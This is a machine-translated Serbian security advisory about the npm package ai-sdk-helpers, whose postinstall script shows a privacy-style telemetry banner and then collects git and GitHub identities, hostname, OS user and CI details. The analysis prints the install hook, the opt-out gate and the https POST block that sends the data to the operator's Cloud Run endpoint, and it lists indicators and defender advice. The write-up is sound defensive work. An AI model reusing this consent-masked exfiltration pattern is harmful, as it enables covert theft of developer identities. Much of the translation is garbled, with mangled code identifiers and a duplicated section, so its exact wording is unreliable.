ConsentMask npm пакет сакрива прикупљање идентитета програмера

ConsentMask: npm пакет који носи банер за телеметријску сагласност преко прикупљања идентитета програмера

ТЛ; ДР

Један npm пакет, ai-sdk-помоћници, представља се као производни алат за Vercel AI SDK, нудећи праћење трошкова, резервни провајдер и помоћнике за стримовање.

Његова скрипта за време инсталације отвара се углађеним банером за откривање који описује анонимна дијагностика, обећавајући да се не преноси изворни код, токени или акредитиви, поштујући DO_NOT_TRACK одјава и повезивање са страницом са политикама телеметрије.

Исти скрипт затим чита git идентитет програмера, GitHub CLI конфигурацију, име хоста машине, корисничко име ОС-а, радни директоријум и CI провајдера.

Ти подаци се објављују као JSON на крајњу тачку Google Cloud Run-а, што ствара очигледну неусклађеност између наведене телеметријске политике и стварно прикупљених поља.

Пакет је објављен у двадесет две верзије унутар једног 83-секундног серијала, а инсталациони скрипт је бајт по бајт идентичан у свакој означеној верзији.

Седам од осам верзија које смо прегледали pipeline класификатор машинског учења је оценио као неубедљив јер стил банера за сагласност звучи као легитимна телеметрија.

Класификујемо ai-sdk-helpers као злонамерни на основу прикупљања и крађе идентитета програмера током инсталације.

Озбиљност: висока.

 Анатомија инсталације

{
  "scripts": {
    "postinstall": "node scripts/postinstall.js"
  }
}

након инсталације покреће се аутоматски на нпм инсталл, пре него што се било који део оглашеног кода пакета икада увезе. Скрипта скрипте/postinstall.js је место где се налази целокупно понашање током инсталације.

Отвара се блоком за коментаре и обавештењем о извршавању уписаном у регистру пројекта отвореног кода који води рачуна о приватности:

>Када инсталирате ai-sdk-helpers, покрећемо брзу проверу компатибилности са окружењем и пријављујемо анонимну дијагностику… Подаци су потпуно анонимни — прикупљамо вашу платформу, верзију чвора и једносмерни хеш идентификатора ваше машине. Никада се не преноси изворни код, токени или акредитиви.

Чак повезује и функционалну капију за одјаву, први извршни код у датотеци:

if (
  process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||
  process.env.DO_NOT_TRACK === "1"
) {
  process.exit(0);
}

Прво затварање ове капије је оно што чини да се остатак чита као консензуалан: програмер који поставља `D_НЕ_ПРАТИ` тихо завршава инсталацију и закључује да пакет поштује конвенцију. Поштовано искључивање је стварно. Оно што забрањује, за свакога ко га не подеси, јесте колекција описана у наставку — не ужи назив „платформа, верзија Node-а и једносмерни хеш“ како је обавештење названо.

Испод те капије, скрипта саставља корисни терет који далеко превазилази тај опис.

  • *Gт идентитет.* rрешитиScmИдентитет()` eads `~.gitconfig`,`~.config/git/config`,и тренутног пројекта `.ит/цонфиг`,анализира `[сер]` одељак и враћа конфигурисано commit имејл. Ако ниједан конфигурациони фајл не даје имејл, враћа се на `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,и `ЕAIL` променљиве окружења. Документациони стринг изнад функције уоквирује читање као начин „дедупликације инсталација на машинама у власништву исте особе (нпр. лаптоп + CI)“ — наведена сврха која захтева стабилан идентификатор за сваког програмера, који commit материјал за е-пошту.
  • *GtHub налог.* rрешиГитХубИдентитет()` eads `~.config/gh/hosts.yml` нд `~.config/gh/hosts.yaml` конфигурациона датотека коју је написао GitHub CLI када програмер аутентификује — и регуларним изразима издваја `uер:` ибол:` поља. Та датотека такође чува GitHub OAuth токен; регуларни израз скрипте циља посебно на линије за корисничко име и имејл адресу и не издваја токен. Тврдња банера за откривање информација „никада се не преносе токени“ је стога буквално тачна за то једно поље док се околни идентификатори налога читају и шаљу.
  • *Hst и CI отисак прста.* Скрипта затим сакупља `o.име_хостa()`,`o.userInfo().корисничкоиме`,верзија, платформа и архитектура Node-а, `pocess.cwd()`,и ознаку CI-провајдера решену провером променљивих окружења за осам провајдера (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite и две заставице generic-CI). Листа провајдера се чита као инвентар места где се очекује да се скрипта изврши — интерактивне шкољке и аутоматизована изградња pipelineслицно.

Све ово је груписано у једно `дагностици објект, са пољима за сваког програмера прикупљеним под `iентитет ey и подаци хоста под `rвреме и `цntext` очи, затим серијализоване и пренете:

const req = https.request(
  {
    hostname: "npm-package-logger-228835561205.europe-west1.run.app",
    path: "/",
    method: "POST",
    headers: { "Content-Type": "application/json" },
    timeout: 5000,
  },
  () => {}
);

req.on("error", () => {});
req.write(body);
req.end();

Одговор се одбацује и све грешке се гутају — коментар напомиње да „телеметрија никада не сме да прекине инсталацију“. Име хоста крајње тачке кодира услугу Google Cloud Run у `eконопац-запад1` регион.

Празнина је прича. Банер наводи три категорије података — платформа, верзија чвора, хеш идентификатора машине. Корисни терет шаље стварни гит програмера. commit имејл адресу, њихово корисничко име и имејл адресу на GitHub-у, име хоста њихове машине и име ОС налога, путању њиховог пројекта и њихово CI окружење. Поља која идентификују *prson и њихови налози* тачно поља која откривање изоставља.

README датотека појачава уоквиривање са друге стране. Њен одељак „Телеметрија“ понавља тврдњу о анонимности и повезује реч `D_НЕ_ПРАТИ` о `цnsoledonottrack.com`,права страница заједнице која документује конвенцију о искључивању — позајмљивање признате приватности standard да се обавештење чита као рутина.

Тимелине

Ово је откриће у једном пакету са веома кратком, веома густом историјом објављивања. Не постоји вишенедељни ток кампање који би се могао пратити — цео распон верзија је објављен брзином машине.

Када (UTC)догађај
2026-06-03 20:31:20 Прва верзија (0.1.0) објављено на npm-у.
2026-06-03 20:31:20 – 20:32:43 Свих 22 верзија (0.1.0 кроз 1.4.2) објављено у аутоматизованом рафалу од 83 секунде.
2026-06-04 Осам верзија означених сигналима детекције; ручна анализа потврђује прикупљање и крађу идентитета током инсталације. Пакет је остао активан на npm-у у време анализе.

Прозор од 83 секунде кроз 22 семантичке верзије је сам по себи индикатор понашања: лествица верзија (`01.0',`01.1',... `14.2`)представља површину активно одржаваног пројекта са историјом издања, произведеном у једном скриптованом покретању. Инсталациони скрипт се не мења на тој лествици — видети доле.

Индикатори компромиса

Корисни оптерећење приликом инсталације је идентично у целом опсегу објављених верзија. A `dфф` f `sripts/postinstall.js` између верзија `02.1` nd verzija `14.2` не враћа никакве разлике; понашање је један фиксни отисак прста, а не еволуирајући корисни терет.

мрежа

Прозор од 83 секунде кроз 22 семантичке верзије је сам по себи индикатор понашања: лествица верзија (`01.0',`01.1',... `14.2`)представља површину активно одржаваног пројекта са историјом издања, произведеном у једном скриптованом покретању. Инсталациони скрипт се не мења на тој лествици — видети доле.

Индикатори компромиса

Корисни оптерећење приликом инсталације је идентично у целом опсегу објављених верзија. A `dфф` f `sripts/postinstall.js` између верзија `02.1` nd verzija `14.2` не враћа никакве разлике; понашање је један фиксни отисак прста, а не еволуирајући корисни терет.

мрежа

ИндикаторУлога
npm-package-logger-228835561205.europe-west1.run.app Крајња тачка ексфилтрације која прима HTTPS POST захтеве са JSON корисним теретом. Хостује се на Google Cloud Run-у у europe-west1 регион.

Инфраструктура мамаца

ИндикаторУлога
ai-sdk.guide Почетна страница пакета и веб-сајт уживо који подржава идентитет аутора „AI SDK Guide“.
ai-sdk.guide/telemetry URL адреса политике телеметрије наведена у обавештењу о откривању информација приликом инсталације.
hello@ai-sdk.guide Имејл адреса аутора је декларисана у package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Изворни репозиторијум који је декларисао пакет.

Датотеке се читају током инсталације

  • -.gitconfig`,`~.config/git/config`,`<вд>/.git/config` гит `[сер]` пошта
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLIер `eбол

Бихејвиорални потписи

  • – м `пstinstall` ook позивање укљученог Node скрипта
  • – капија за одјаву („A“)_SDK_ПОМОЋНИЦИ_ТЕЛЕМЕТРИЈА_ОНЕГАЋЕНА`,`D_НЕ_ПРАТИ`)представљено као функција приватности, пре прикупљања идентитета
  • – tbound HTTPS POST JSON објекта који садржи git имејл, GitHub идентитет, име хоста, корисничко име ОС-а, cwd и CI ознаку
  • – идентична инсталациона скрипта преко брзо објављене лествице верзија

 Атрибуција и посматрано понашање
Не приписујемо ништа осим онога што су забележени у метаподацима пакета и регистра.

НПМ чувар евиденције је налог `a`иелсимон`,са адресом `аiel@vigilance.security`.Регистар наводи ту имејл адресу као непотврђену, а идентитет контроле извора налога као непотврђен. `pckage.json`,одвојено, представља аутора као „AI SDK водич“ello@ai-sdk.guide>`”са почетном страницом `a-sdk.guide` и репозиторијум изворног кода под `gОрганизација thub.com/ai-sdk-guide. Домен е-поште налога за објављивање (`vigilance.security`)и идентитет аутора у пакету (`a-sdk.guide`)су различити домени.

А-sdk.guide` ите је активан и одговара, и `/електрицитет ath решава — идентитет мамца је поткрепљен доступним веб присуством, а не мртвим линком, што повећава веродостојност уоквиривања пакета.

**Уочена могућност.** Приликом инсталације, пакет чита датотеке идентитета програмера и конфигурације налога, идентификује хост и CI окружење и преноси резултат на крајњу тачку коју контролише оператер, док приказује обавештење које описује ужи и анонимизовани скуп података. Описујемо ово понашање; не тврдимо мотив за њега. Читаоци који процењују пакет – укључујући било коју страну која препознаје идентитет објављивача – требало би да процене уочљиву нескладност између наведених и стварних токова података.

Утицај, трендови и смернице за браниоце

Ко је изложен. Свако ко инсталира ai-sdk-помоћници — директно или као транзитивна зависност — покреће колекцију на тој машини. Пошто је окидач након инсталације, оглашени код библиотеке никада не мора бити увезен да би се догодио проток података; сама инсталација је довољна. Окружења највише вредности су радне станице програмера са конфигурисаним git идентитетом и аутентификованим GitHub CLI-јем, и CI покретачи, где детекција CI провајдера скрипте указује да се очекује да ће се колекција покренути унутар изградње pipelineкао и на лаптоповима.

Шта открива. Не тајне апликације у општем случају — корисни терет се фокусира на идентитетпрограмера commit имејл адресу, име и имејл адресу њиховог GitHub налога, имена машина и налога и путању пројекта. То је претходниcisмапа ко је инсталирао пакет, на којој машини, у ком репозиторијуму и под којим CI системом. За организацију, неколико таквих записа заједно би навело који су инжењери и који системи за изградњу извукли зависност - корисно као претеча циљанијих накнадних активности, чак и ако се понашање самог пакета зауставља на прикупљању и преносу.

Тренд: телеметрија као параван. Легитимни алати за програмере прикупљају анонимне дијагностичке податке о инсталацији, као и конвенције за поштовање тога — обавештење о откривању информација, НЕ_ПРАТИ част, заставица за одјаву, URL адреса политике — добро су познати. ai-sdk-помоћници верно репродукује све четири те конвенције и користи их као омотач за прикупљање идентитета. Присуство банера сагласности, функционалне опције одјаве или линка ка политици приватности није доказ да је пакет поуздан; те контроле су јефтине за имитирање. Једина поуздана провера је шта код заправо чита и где га заправо шаље.

Ово паковање такође има мерљив ефекат на аутоматизовану тријажу. У свим верзијама наше pipeline Прегледани, коментари на једноставном језику, структурирана имена поља и конвенционална капија за одјаву инсталационог скрипта оцењени су као обична телеметрија: седам од осам се вратило нејасан из ML класификатора, а не злонамерног. Сигнал који решава двосмисленост није у прози — налази се у специфичним датотекама које скрипта отвара (~ / .гитцонфиг, ~/.config/gh/hosts.yml) и одредиште на које се шаље. Прегледач, аутоматизован или људски, који прочита откривање и ту се заустави доћи ће до погрешног закључка; одлука мора проистећи из чињеница о току података.

Упутство за браниоце:

  • Инсталирај са подразумевано онемогућеним скриптама — npm инсталација –игноришите-скриптеили подесите ignore-scripts=true in .npmrc и експлицитно покрените проверене кораке изградње. Ово неутралише након инсталације-покренута наплата на свим нивоима.
  • Не третирајте контроле за искључивање као сигнале поверења. А НЕ_ПРАТИ Провера или линк „политика телеметрије“ вам не говори ништа о подацима које скрипта прикупља када капија није подешена.
  • Прочитајте упутство за инсталацију пре него што усвојите помоћне пакете за вештачку интелигенцију екосистема. Vercel AI SDK простор је брзопроменљива, високопоуздана мета; након инсталације који додирује ~ / .гитцонфиг or ~/.config/gh/ је јасан сигнал без обзира на то како су написани околни коментари.
  • Праћење излаза током изградње. Одлазни HTTPS POST током нпм инсталл, посебно до свеже обезбеђене крајње тачке функције у облаку, видљива је на мрежном слоју и представља јаку тачку детекције за CI окружења.
  • Пазите на компримоване лествице верзија. Пакет чија се цела семантичка историја верзија појављује у року од неколико секунди, са непроменљивим инсталационим скриптом, представља произведену историју одржавања.
sca-tools-software-composition-analysis-tools
Приоритизујте, отклоните и обезбедите ризике везане за ваш софтвер
Набавите свој бесплатни налог.
Није потребна кредитна картица.

Обезбедите свој развој и испоруку софтвера

са Xygeni пакетом производа